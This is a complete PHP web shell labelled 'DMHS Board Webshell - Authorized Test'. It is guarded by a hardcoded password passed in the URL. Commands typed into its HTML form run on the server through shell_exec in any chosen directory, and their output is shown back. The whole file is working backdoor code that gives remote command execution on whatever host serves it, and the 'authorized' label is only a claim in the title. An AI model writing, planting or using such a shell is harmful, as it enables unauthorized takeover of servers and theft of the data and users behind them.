<?php
$pass = 'dmhs1337';
if (!isset($_GET['p']) || $_GET['p'] !== $pass) {
    http_response_code(403);
    die('Access Denied');
}

$cwd = $_POST['cwd'] ?? getcwd();
$cmd = $_POST['cmd'] ?? '';

if ($cmd) {
    chdir($cwd);
    $output = shell_exec($cmd . " 2>&1");
} else {
    $output = "Webshell ready.\nCurrent directory: " . getcwd();
}
?>
<!DOCTYPE html>
<html>
<head><title>DMHS Webshell</title></head>
<body>
<pre><b>DMHS Board Webshell - Authorized Test</b>
Server : <?=htmlspecialchars($_SERVER['SERVER_NAME'])?>
Current dir: <?=htmlspecialchars(getcwd())?>

<form method="POST">
    <b>Path:</b> <input type="text" name="cwd" value="<?=htmlspecialchars($cwd)?>" size="70"><br><br>
    <b>Command:</b><br>
    <input type="text" name="cmd" value="<?=htmlspecialchars($cmd)?>" size="90" autofocus>
    <input type="submit" value="Execute">
</form>

<b>Output:</b>
<?=htmlspecialchars($output ?: "No output or command failed.")?>
</pre>
</body>
</html>
